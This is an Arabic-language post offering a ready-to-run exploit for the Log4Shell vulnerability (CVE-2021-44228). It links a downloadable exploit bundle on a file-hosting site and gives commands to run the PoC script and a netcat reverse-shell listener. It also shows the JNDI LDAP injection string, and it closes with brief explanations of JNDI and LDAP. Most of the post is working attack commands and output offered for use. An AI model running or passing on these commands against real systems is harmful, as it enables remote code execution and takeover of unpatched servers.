
أداة استغلال لـ CVE-2021-44228 (Log4Shell) تقوم بإعداد خادم LDAP ضار وتسليم حمولة Java لتحقيق تنفيذ التعليمات البرمجية عن بُعد على تطبيقات Log4j الضعيفة.
أداة اختبار ثغرة Log4Shell https://log4shell.tools/
الاستغلال مع جافا مضمّن بالفعل، لتجنب إنشاء حساب إلخ..
http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc_%25281%2529.zip/file
pip install -r requirements.txt
$ python3 poc.py --userip localhost --webport 8000 --lport 9001
nc -lvnp 9001
$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
المفهوم الأساسي لـ log4j
ما هو JNDI
هي واجهة API جافا لخدمة دليل، تتيح لعملاء برمجيات جافا اكتشاف البيانات والموارد والبحث عنها من خلال اسم
ما هو LDAP
هو بروتوكول وصول إلى الدليل. يمكن استخدام LDAP للتحقق من أسماء المستخدمين وكلمات المرور مع خوادم Docker وJenkins وKubernetes وOpen VPN وLinux Samba. كما يمكن لمسؤولي النظام استخدام الدخول الموحّد عبر LDAP للتحكم في الوصول إلى قاعدة بيانات LDAP.
لمن يريد معرفة المزيد عن الثغرة، إليك الوثيقة أدناه:
https://www.lunasec.io/docs/blog/log4j-zero-day/
الاستغلال بدون تضمين جافا